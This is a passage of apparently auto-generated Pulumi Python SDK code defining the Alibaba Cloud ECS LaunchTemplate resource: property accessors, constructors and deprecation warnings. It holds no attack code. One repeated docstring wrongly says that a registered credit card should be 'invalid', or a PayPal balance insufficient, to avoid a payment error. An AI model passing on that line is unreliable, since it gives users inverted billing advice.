def image_owner_alias(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "image_owner_alias", value)
@property
@pulumi.getter(name="instanceChargeType")
def instance_charge_type(self) -> Optional[pulumi.Input[str]]:
"""
Billing methods. Optional values:
- PrePaid: Monthly, or annual subscription. Make sure that your registered credit card is invalid or you have insufficient balance in your PayPal account. Otherwise, InvalidPayMethod error may occur.
- PostPaid: Pay-As-You-Go.
"""
return pulumi.get(self, "instance_charge_type")
@instance_charge_type.setter
def instance_charge_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_charge_type", value)
@property
@pulumi.getter(name="instanceName")
def instance_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the instance. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
"""
return pulumi.get(self, "instance_name")
@instance_name.setter
def instance_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_name", value)
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> Optional[pulumi.Input[str]]:
"""
Instance type. For more information, call resource_alicloud_instances to obtain the latest instance type list.
"""
return pulumi.get(self, "instance_type")
@instance_type.setter
def instance_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_type", value)
@property
@pulumi.getter(name="internetChargeType")
def internet_charge_type(self) -> Optional[pulumi.Input[str]]:
"""
Internet bandwidth billing method. Optional values: `PayByTraffic` | `PayByBandwidth`.
"""
return pulumi.get(self, "internet_charge_type")
@internet_charge_type.setter
def internet_charge_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "internet_charge_type", value)
@property
@pulumi.getter(name="internetMaxBandwidthIn")
def internet_max_bandwidth_in(self) -> Optional[pulumi.Input[int]]:
"""
The maximum inbound bandwidth from the Internet network, measured in Mbit/s. Value range: [1, 200].
"""
return pulumi.get(self, "internet_max_bandwidth_in")
@internet_max_bandwidth_in.setter
def internet_max_bandwidth_in(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "internet_max_bandwidth_in", value)
@property
@pulumi.getter(name="internetMaxBandwidthOut")
def internet_max_bandwidth_out(self) -> Optional[pulumi.Input[int]]:
"""
Maximum outbound bandwidth from the Internet, its unit of measurement is Mbit/s. Value range: [0, 100].
"""
return pulumi.get(self, "internet_max_bandwidth_out")
@internet_max_bandwidth_out.setter
def internet_max_bandwidth_out(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "internet_max_bandwidth_out", value)
@property
@pulumi.getter(name="ioOptimized")
def io_optimized(self) -> Optional[pulumi.Input[str]]:
"""
Whether it is an I/O-optimized instance or not. Optional values:
- none
- optimized
"""
return pulumi.get(self, "io_optimized")
@io_optimized.setter
def io_optimized(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "io_optimized", value)
@property
@pulumi.getter(name="keyPairName")
def key_pair_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the key pair.
- Ignore this parameter for Windows instances. It is null by default. Even if you enter this parameter, only the Password content is used.
- The password logon method for Linux instances is set to forbidden upon initialization.
"""
return pulumi.get(self, "key_pair_name")
@key_pair_name.setter
def key_pair_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "key_pair_name", value)
@property
@pulumi.getter(name="launchTemplateName")
def launch_template_name(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "launch_template_name")
@launch_template_name.setter
def launch_template_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "launch_template_name", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the data disk.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="networkInterfaces")
def network_interfaces(self) -> Optional[pulumi.Input['LaunchTemplateNetworkInterfacesArgs']]:
"""
The list of network interfaces created with instance.
"""
return pulumi.get(self, "network_interfaces")
@network_interfaces.setter
def network_interfaces(self, value: Optional[pulumi.Input['LaunchTemplateNetworkInterfacesArgs']]):
pulumi.set(self, "network_interfaces", value)
@property
@pulumi.getter(name="networkType")
def network_type(self) -> Optional[pulumi.Input[str]]:
"""
Network type of the instance. Value options: `classic` | `vpc`.
"""
return pulumi.get(self, "network_type")
@network_type.setter
def network_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "network_type", value)
@property
@pulumi.getter(name="passwordInherit")
def password_inherit(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "password_inherit")
@password_inherit.setter
def password_inherit(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "password_inherit", value)
@property
@pulumi.getter
def period(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "period")
@period.setter
def period(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "period", value)
@property
@pulumi.getter(name="privateIpAddress")
def private_ip_address(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "private_ip_address")
@private_ip_address.setter
def private_ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "private_ip_address", value)
@property
@pulumi.getter(name="ramRoleName")
def ram_role_name(self) -> Optional[pulumi.Input[str]]:
"""
The RAM role name of the instance. You can use the RAM API ListRoles to query instance RAM role names.
"""
return pulumi.get(self, "ram_role_name")
@ram_role_name.setter
def ram_role_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "ram_role_name", value)
@property
@pulumi.getter(name="resourceGroupId")
def resource_group_id(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "resource_group_id")
@resource_group_id.setter
def resource_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_group_id", value)
@property
@pulumi.getter(name="securityEnhancementStrategy")
def security_enhancement_strategy(self) -> Optional[pulumi.Input[str]]:
"""
Whether or not to activate the security enhancement feature and install network security software free of charge. Optional values: Active | Deactive.
"""
return pulumi.get(self, "security_enhancement_strategy")
@security_enhancement_strategy.setter
def security_enhancement_strategy(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_enhancement_strategy", value)
@property
@pulumi.getter(name="securityGroupId")
def security_group_id(self) -> Optional[pulumi.Input[str]]:
"""
The security group ID must be one in the same VPC.
"""
return pulumi.get(self, "security_group_id")
@security_group_id.setter
def security_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_group_id", value)
@property
@pulumi.getter(name="securityGroupIds")
def security_group_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
return pulumi.get(self, "security_group_ids")
@security_group_ids.setter
def security_group_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "security_group_ids", value)
@property
@pulumi.getter(name="spotDuration")
def spot_duration(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "spot_duration")
@spot_duration.setter
def spot_duration(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "spot_duration", value)
@property
@pulumi.getter(name="spotPriceLimit")
def spot_price_limit(self) -> Optional[pulumi.Input[float]]:
"""
-(Optional) Sets the maximum hourly instance price. Supports up to three decimal places.
"""
return pulumi.get(self, "spot_price_limit")
@spot_price_limit.setter
def spot_price_limit(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "spot_price_limit", value)
@property
@pulumi.getter(name="spotStrategy")
def spot_strategy(self) -> Optional[pulumi.Input[str]]:
"""
The spot strategy for a Pay-As-You-Go instance. This parameter is valid and required only when InstanceChargeType is set to PostPaid. Value range:
- NoSpot: Normal Pay-As-You-Go instance.
- SpotWithPriceLimit: Sets the maximum price for a spot instance.
- SpotAsPriceGo: The system automatically calculates the price. The maximum value is the Pay-As-You-Go price.
"""
return pulumi.get(self, "spot_strategy")
@spot_strategy.setter
def spot_strategy(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "spot_strategy", value)
@property
@pulumi.getter(name="systemDisk")
def system_disk(self) -> Optional[pulumi.Input['LaunchTemplateSystemDiskArgs']]:
return pulumi.get(self, "system_disk")
@system_disk.setter
def system_disk(self, value: Optional[pulumi.Input['LaunchTemplateSystemDiskArgs']]):
pulumi.set(self, "system_disk", value)
@property
@pulumi.getter(name="systemDiskCategory")
def system_disk_category(self) -> Optional[pulumi.Input[str]]:
"""
The category of the system disk. System disk type. Optional values:
- cloud: Basic cloud disk.
- cloud_efficiency: Ultra cloud disk.
- cloud_ssd: SSD cloud Disks.
- ephemeral_ssd: local SSD Disks
- cloud_essd: ESSD cloud Disks.
"""
return pulumi.get(self, "system_disk_category")
@system_disk_category.setter
def system_disk_category(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_category", value)
@property
@pulumi.getter(name="systemDiskDescription")
def system_disk_description(self) -> Optional[pulumi.Input[str]]:
"""
System disk description. It cannot begin with http:// or https://.
"""
return pulumi.get(self, "system_disk_description")
@system_disk_description.setter
def system_disk_description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_description", value)
@property
@pulumi.getter(name="systemDiskName")
def system_disk_name(self) -> Optional[pulumi.Input[str]]:
"""
System disk name. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
"""
return pulumi.get(self, "system_disk_name")
@system_disk_name.setter
def system_disk_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_name", value)
@property
@pulumi.getter(name="systemDiskSize")
def system_disk_size(self) -> Optional[pulumi.Input[int]]:
"""
Size of the system disk, measured in GB. Value range: [20, 500].
"""
return pulumi.get(self, "system_disk_size")
@system_disk_size.setter
def system_disk_size(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "system_disk_size", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
A mapping of tags to assign to the resource.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It can be a null string.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter(name="templateResourceGroupId")
def template_resource_group_id(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "template_resource_group_id")
@template_resource_group_id.setter
def template_resource_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "template_resource_group_id", value)
@property
@pulumi.getter(name="templateTags")
def template_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
return pulumi.get(self, "template_tags")
@template_tags.setter
def template_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "template_tags", value)
@property
@pulumi.getter(name="userData")
def user_data(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "user_data")
@user_data.setter
def user_data(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_data", value)
@property
@pulumi.getter
def userdata(self) -> Optional[pulumi.Input[str]]:
"""
User data of the instance, which is Base64-encoded. Size of the raw data cannot exceed 16 KB.
"""
return pulumi.get(self, "userdata")
@userdata.setter
def userdata(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "userdata", value)
@property
@pulumi.getter(name="versionDescription")
def version_description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "version_description")
@version_description.setter
def version_description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "version_description", value)
@property
@pulumi.getter(name="vpcId")
def vpc_id(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "vpc_id")
@vpc_id.setter
def vpc_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "vpc_id", value)
@property
@pulumi.getter(name="vswitchId")
def vswitch_id(self) -> Optional[pulumi.Input[str]]:
"""
The VSwitch ID for ENI. The instance must be in the same zone of the same VPC network as the ENI, but they may belong to different VSwitches.
"""
return pulumi.get(self, "vswitch_id")
@vswitch_id.setter
def vswitch_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "vswitch_id", value)
@property
@pulumi.getter(name="zoneId")
def zone_id(self) -> Optional[pulumi.Input[str]]:
"""
The zone ID of the instance.
"""
return pulumi.get(self, "zone_id")
@zone_id.setter
def zone_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "zone_id", value)
class LaunchTemplate(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
auto_release_time: Optional[pulumi.Input[str]] = None,
data_disks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LaunchTemplateDataDiskArgs']]]]] = None,
deployment_set_id: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
enable_vm_os_config: Optional[pulumi.Input[bool]] = None,
host_name: Optional[pulumi.Input[str]] = None,
image_id: Optional[pulumi.Input[str]] = None,
image_owner_alias: Optional[pulumi.Input[str]] = None,
instance_charge_type: Optional[pulumi.Input[str]] = None,
instance_name: Optional[pulumi.Input[str]] = None,
instance_type: Optional[pulumi.Input[str]] = None,
internet_charge_type: Optional[pulumi.Input[str]] = None,
internet_max_bandwidth_in: Optional[pulumi.Input[int]] = None,
internet_max_bandwidth_out: Optional[pulumi.Input[int]] = None,
io_optimized: Optional[pulumi.Input[str]] = None,
key_pair_name: Optional[pulumi.Input[str]] = None,
launch_template_name: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
network_interfaces: Optional[pulumi.Input[pulumi.InputType['LaunchTemplateNetworkInterfacesArgs']]] = None,
network_type: Optional[pulumi.Input[str]] = None,
password_inherit: Optional[pulumi.Input[bool]] = None,
period: Optional[pulumi.Input[int]] = None,
private_ip_address: Optional[pulumi.Input[str]] = None,
ram_role_name: Optional[pulumi.Input[str]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
security_enhancement_strategy: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
spot_duration: Optional[pulumi.Input[str]] = None,
spot_price_limit: Optional[pulumi.Input[float]] = None,
spot_strategy: Optional[pulumi.Input[str]] = None,
system_disk: Optional[pulumi.Input[pulumi.InputType['LaunchTemplateSystemDiskArgs']]] = None,
system_disk_category: Optional[pulumi.Input[str]] = None,
system_disk_description: Optional[pulumi.Input[str]] = None,
system_disk_name: Optional[pulumi.Input[str]] = None,
system_disk_size: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
template_resource_group_id: Optional[pulumi.Input[str]] = None,
template_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
user_data: Optional[pulumi.Input[str]] = None,
userdata: Optional[pulumi.Input[str]] = None,
version_description: Optional[pulumi.Input[str]] = None,
vpc_id: Optional[pulumi.Input[str]] = None,
vswitch_id: Optional[pulumi.Input[str]] = None,
zone_id: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
## Import
Launch Template can be imported using the id, e.g.
```sh
$ pulumi import alicloud:ecs/launchTemplate:LaunchTemplate lt lt-abc1234567890000
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] auto_release_time: Instance auto release time. The time is presented using the ISO8601 standard and in UTC time. The format is YYYY-MM-DDTHH:MM:SSZ.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LaunchTemplateDataDiskArgs']]]] data_disks: The list of data disks created with instance.
:param pulumi.Input[str] description: The description of the data disk.
:param pulumi.Input[str] host_name: Instance host name.It cannot start or end with a period (.) or a hyphen (-) and it cannot have two or more consecutive periods (.) or hyphens (-).For Windows: The host name can be [2, 15] characters in length. It can contain A-Z, a-z, numbers, periods (.), and hyphens (-). It cannot only contain numbers. For other operating systems: The host name can be [2, 64] characters in length. It can be segments separated by periods (.). It can contain A-Z, a-z, numbers, and hyphens (-).
:param pulumi.Input[str] image_id: Image ID.
:param pulumi.Input[str] instance_charge_type: Billing methods. Optional values:
- PrePaid: Monthly, or annual subscription. Make sure that your registered credit card is invalid or you have insufficient balance in your PayPal account. Otherwise, InvalidPayMethod error may occur.
- PostPaid: Pay-As-You-Go.
:param pulumi.Input[str] instance_name: The name of the instance. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
:param pulumi.Input[str] instance_type: Instance type. For more information, call resource_alicloud_instances to obtain the latest instance type list.
:param pulumi.Input[str] internet_charge_type: Internet bandwidth billing method. Optional values: `PayByTraffic` | `PayByBandwidth`.
:param pulumi.Input[int] internet_max_bandwidth_in: The maximum inbound bandwidth from the Internet network, measured in Mbit/s. Value range: [1, 200].
:param pulumi.Input[int] internet_max_bandwidth_out: Maximum outbound bandwidth from the Internet, its unit of measurement is Mbit/s. Value range: [0, 100].
:param pulumi.Input[str] io_optimized: Whether it is an I/O-optimized instance or not. Optional values:
- none
- optimized
:param pulumi.Input[str] key_pair_name: The name of the key pair.
- Ignore this parameter for Windows instances. It is null by default. Even if you enter this parameter, only the Password content is used.
- The password logon method for Linux instances is set to forbidden upon initialization.
:param pulumi.Input[str] name: The name of the data disk.
:param pulumi.Input[pulumi.InputType['LaunchTemplateNetworkInterfacesArgs']] network_interfaces: The list of network interfaces created with instance.
:param pulumi.Input[str] network_type: Network type of the instance. Value options: `classic` | `vpc`.
:param pulumi.Input[str] ram_role_name: The RAM role name of the instance. You can use the RAM API ListRoles to query instance RAM role names.
:param pulumi.Input[str] security_enhancement_strategy: Whether or not to activate the security enhancement feature and install network security software free of charge. Optional values: Active | Deactive.
:param pulumi.Input[str] security_group_id: The security group ID must be one in the same VPC.
:param pulumi.Input[float] spot_price_limit: -(Optional) Sets the maximum hourly instance price. Supports up to three decimal places.
:param pulumi.Input[str] spot_strategy: The spot strategy for a Pay-As-You-Go instance. This parameter is valid and required only when InstanceChargeType is set to PostPaid. Value range:
- NoSpot: Normal Pay-As-You-Go instance.
- SpotWithPriceLimit: Sets the maximum price for a spot instance.
- SpotAsPriceGo: The system automatically calculates the price. The maximum value is the Pay-As-You-Go price.
:param pulumi.Input[str] system_disk_category: The category of the system disk. System disk type. Optional values:
- cloud: Basic cloud disk.
- cloud_efficiency: Ultra cloud disk.
- cloud_ssd: SSD cloud Disks.
- ephemeral_ssd: local SSD Disks
- cloud_essd: ESSD cloud Disks.
:param pulumi.Input[str] system_disk_description: System disk description. It cannot begin with http:// or https://.
:param pulumi.Input[str] system_disk_name: System disk name. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
:param pulumi.Input[int] system_disk_size: Size of the system disk, measured in GB. Value range: [20, 500].
:param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It can be a null string.
:param pulumi.Input[str] userdata: User data of the instance, which is Base64-encoded. Size of the raw data cannot exceed 16 KB.
:param pulumi.Input[str] vswitch_id: The VSwitch ID for ENI. The instance must be in the same zone of the same VPC network as the ENI, but they may belong to different VSwitches.
:param pulumi.Input[str] zone_id: The zone ID of the instance.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: Optional[LaunchTemplateArgs] = None,
opts: Optional[pulumi.ResourceOptions] = None):
"""
## Import
Launch Template can be imported using the id, e.g.
```sh
$ pulumi import alicloud:ecs/launchTemplate:LaunchTemplate lt lt-abc1234567890000
```
:param str resource_name: The name of the resource.
:param LaunchTemplateArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(LaunchTemplateArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
auto_release_time: Optional[pulumi.Input[str]] = None,
data_disks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LaunchTemplateDataDiskArgs']]]]] = None,
deployment_set_id: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
enable_vm_os_config: Optional[pulumi.Input[bool]] = None,
host_name: Optional[pulumi.Input[str]] = None,
image_id: Optional[pulumi.Input[str]] = None,
image_owner_alias: Optional[pulumi.Input[str]] = None,
instance_charge_type: Optional[pulumi.Input[str]] = None,
instance_name: Optional[pulumi.Input[str]] = None,
instance_type: Optional[pulumi.Input[str]] = None,
internet_charge_type: Optional[pulumi.Input[str]] = None,
internet_max_bandwidth_in: Optional[pulumi.Input[int]] = None,
internet_max_bandwidth_out: Optional[pulumi.Input[int]] = None,
io_optimized: Optional[pulumi.Input[str]] = None,
key_pair_name: Optional[pulumi.Input[str]] = None,
launch_template_name: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
network_interfaces: Optional[pulumi.Input[pulumi.InputType['LaunchTemplateNetworkInterfacesArgs']]] = None,
network_type: Optional[pulumi.Input[str]] = None,
password_inherit: Optional[pulumi.Input[bool]] = None,
period: Optional[pulumi.Input[int]] = None,
private_ip_address: Optional[pulumi.Input[str]] = None,
ram_role_name: Optional[pulumi.Input[str]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
security_enhancement_strategy: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
spot_duration: Optional[pulumi.Input[str]] = None,
spot_price_limit: Optional[pulumi.Input[float]] = None,
spot_strategy: Optional[pulumi.Input[str]] = None,
system_disk: Optional[pulumi.Input[pulumi.InputType['LaunchTemplateSystemDiskArgs']]] = None,
system_disk_category: Optional[pulumi.Input[str]] = None,
system_disk_description: Optional[pulumi.Input[str]] = None,
system_disk_name: Optional[pulumi.Input[str]] = None,
system_disk_size: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
template_resource_group_id: Optional[pulumi.Input[str]] = None,
template_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
user_data: Optional[pulumi.Input[str]] = None,
userdata: Optional[pulumi.Input[str]] = None,
version_description: Optional[pulumi.Input[str]] = None,
vpc_id: Optional[pulumi.Input[str]] = None,
vswitch_id: Optional[pulumi.Input[str]] = None,
zone_id: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = LaunchTemplateArgs.__new__(LaunchTemplateArgs)
__props__.__dict__["auto_release_time"] = auto_release_time
__props__.__dict__["data_disks"] = data_disks
__props__.__dict__["deployment_set_id"] = deployment_set_id
__props__.__dict__["description"] = description
__props__.__dict__["enable_vm_os_config"] = enable_vm_os_config
__props__.__dict__["host_name"] = host_name
__props__.__dict__["image_id"] = image_id
__props__.__dict__["image_owner_alias"] = image_owner_alias
__props__.__dict__["instance_charge_type"] = instance_charge_type
__props__.__dict__["instance_name"] = instance_name
__props__.__dict__["instance_type"] = instance_type
__props__.__dict__["internet_charge_type"] = internet_charge_type
__props__.__dict__["internet_max_bandwidth_in"] = internet_max_bandwidth_in
__props__.__dict__["internet_max_bandwidth_out"] = internet_max_bandwidth_out
__props__.__dict__["io_optimized"] = io_optimized
__props__.__dict__["key_pair_name"] = key_pair_name
__props__.__dict__["launch_template_name"] = launch_template_name
if name is not None and not opts.urn:
warnings.warn("""Field 'name' has been deprecated from provider version 1.120.0. New field 'launch_template_name' instead.""", DeprecationWarning)
pulumi.log.warn("""name is deprecated: Field 'name' has been deprecated from provider version 1.120.0. New field 'launch_template_name' instead.""")
__props__.__dict__["name"] = name
__props__.__dict__["network_interfaces"] = network_interfaces
__props__.__dict__["network_type"] = network_type
__props__.__dict__["password_inherit"] = password_inherit
__props__.__dict__["period"] = period
__props__.__dict__["private_ip_address"] = private_ip_address
__props__.__dict__["ram_role_name"] = ram_role_name
__props__.__dict__["resource_group_id"] = resource_group_id
__props__.__dict__["security_enhancement_strategy"] = security_enhancement_strategy
__props__.__dict__["security_group_id"] = security_group_id
__props__.__dict__["security_group_ids"] = security_group_ids
__props__.__dict__["spot_duration"] = spot_duration
__props__.__dict__["spot_price_limit"] = spot_price_limit
__props__.__dict__["spot_strategy"] = spot_strategy
__props__.__dict__["system_disk"] = system_disk
if system_disk_category is not None and not opts.urn:
warnings.warn("""Field 'system_disk_category' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_category is deprecated: Field 'system_disk_category' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
__props__.__dict__["system_disk_category"] = system_disk_category
if system_disk_description is not None and not opts.urn:
warnings.warn("""Field 'system_disk_description' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_description is deprecated: Field 'system_disk_description' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
__props__.__dict__["system_disk_description"] = system_disk_description
if system_disk_name is not None and not opts.urn:
warnings.warn("""Field 'system_disk_name' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_name is deprecated: Field 'system_disk_name' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
__props__.__dict__["system_disk_name"] = system_disk_name
if system_disk_size is not None and not opts.urn:
warnings.warn("""Field 'system_disk_size' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_size is deprecated: Field 'system_disk_size' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
__props__.__dict__["system_disk_size"] = system_disk_size
__props__.__dict__["tags"] = tags
__props__.__dict__["template_resource_group_id"] = template_resource_group_id
__props__.__dict__["template_tags"] = template_tags
__props__.__dict__["user_data"] = user_data
if userdata is not None and not opts.urn:
warnings.warn("""Field 'userdata' has been deprecated from provider version 1.120.0. New field 'user_data' instead.""", DeprecationWarning)
pulumi.log.warn("""userdata is deprecated: Field 'userdata' has been deprecated from provider version 1.120.0. New field 'user_data' instead.""")
__props__.__dict__["userdata"] = userdata
__props__.__dict__["version_description"] = version_description
__props__.__dict__["vpc_id"] = vpc_id
__props__.__dict__["vswitch_id"] = vswitch_id
__props__.__dict__["zone_id"] = zone_id
super(LaunchTemplate, __self__).__init__(
'alicloud:ecs/launchTemplate:LaunchTemplate',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
auto_release_time: Optional[pulumi.Input[str]] = None,
data_disks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LaunchTemplateDataDiskArgs']]]]] = None,
deployment_set_id: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
enable_vm_os_config: Optional[pulumi.Input[bool]] = None,
host_name: Optional[pulumi.Input[str]] = None,
image_id: Optional[pulumi.Input[str]] = None,
image_owner_alias: Optional[pulumi.Input[str]] = None,
instance_charge_type: Optional[pulumi.Input[str]] = None,
instance_name: Optional[pulumi.Input[str]] = None,
instance_type: Optional[pulumi.Input[str]] = None,
internet_charge_type: Optional[pulumi.Input[str]] = None,
internet_max_bandwidth_in: Optional[pulumi.Input[int]] = None,
internet_max_bandwidth_out: Optional[pulumi.Input[int]] = None,
io_optimized: Optional[pulumi.Input[str]] = None,
key_pair_name: Optional[pulumi.Input[str]] = None,
launch_template_name: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
network_interfaces: Optional[pulumi.Input[pulumi.InputType['LaunchTemplateNetworkInterfacesArgs']]] = None,
network_type: Optional[pulumi.Input[str]] = None,
password_inherit: Optional[pulumi.Input[bool]] = None,
period: Optional[pulumi.Input[int]] = None,
private_ip_address: Optional[pulumi.Input[str]] = None,
ram_role_name: Optional[pulumi.Input[str]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
security_enhancement_strategy: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
spot_duration: Optional[pulumi.Input[str]] = None,
spot_price_limit: Optional[pulumi.Input[float]] = None,
spot_strategy: Optional[pulumi.Input[str]] = None,
system_disk: Optional[pulumi.Input[pulumi.InputType['LaunchTemplateSystemDiskArgs']]] = None,
system_disk_category: Optional[pulumi.Input[str]] = None,
system_disk_description: Optional[pulumi.Input[str]] = None,
system_disk_name: Optional[pulumi.Input[str]] = None,
system_disk_size: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
template_resource_group_id: Optional[pulumi.Input[str]] = None,
template_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
user_data: Optional[pulumi.Input[str]] = None,
userdata: Optional[pulumi.Input[str]] = None,
version_description: Optional[pulumi.Input[str]] = None,
vpc_id: Optional[pulumi.Input[str]] = None,
vswitch_id: Optional[pulumi.Input[str]] = None,
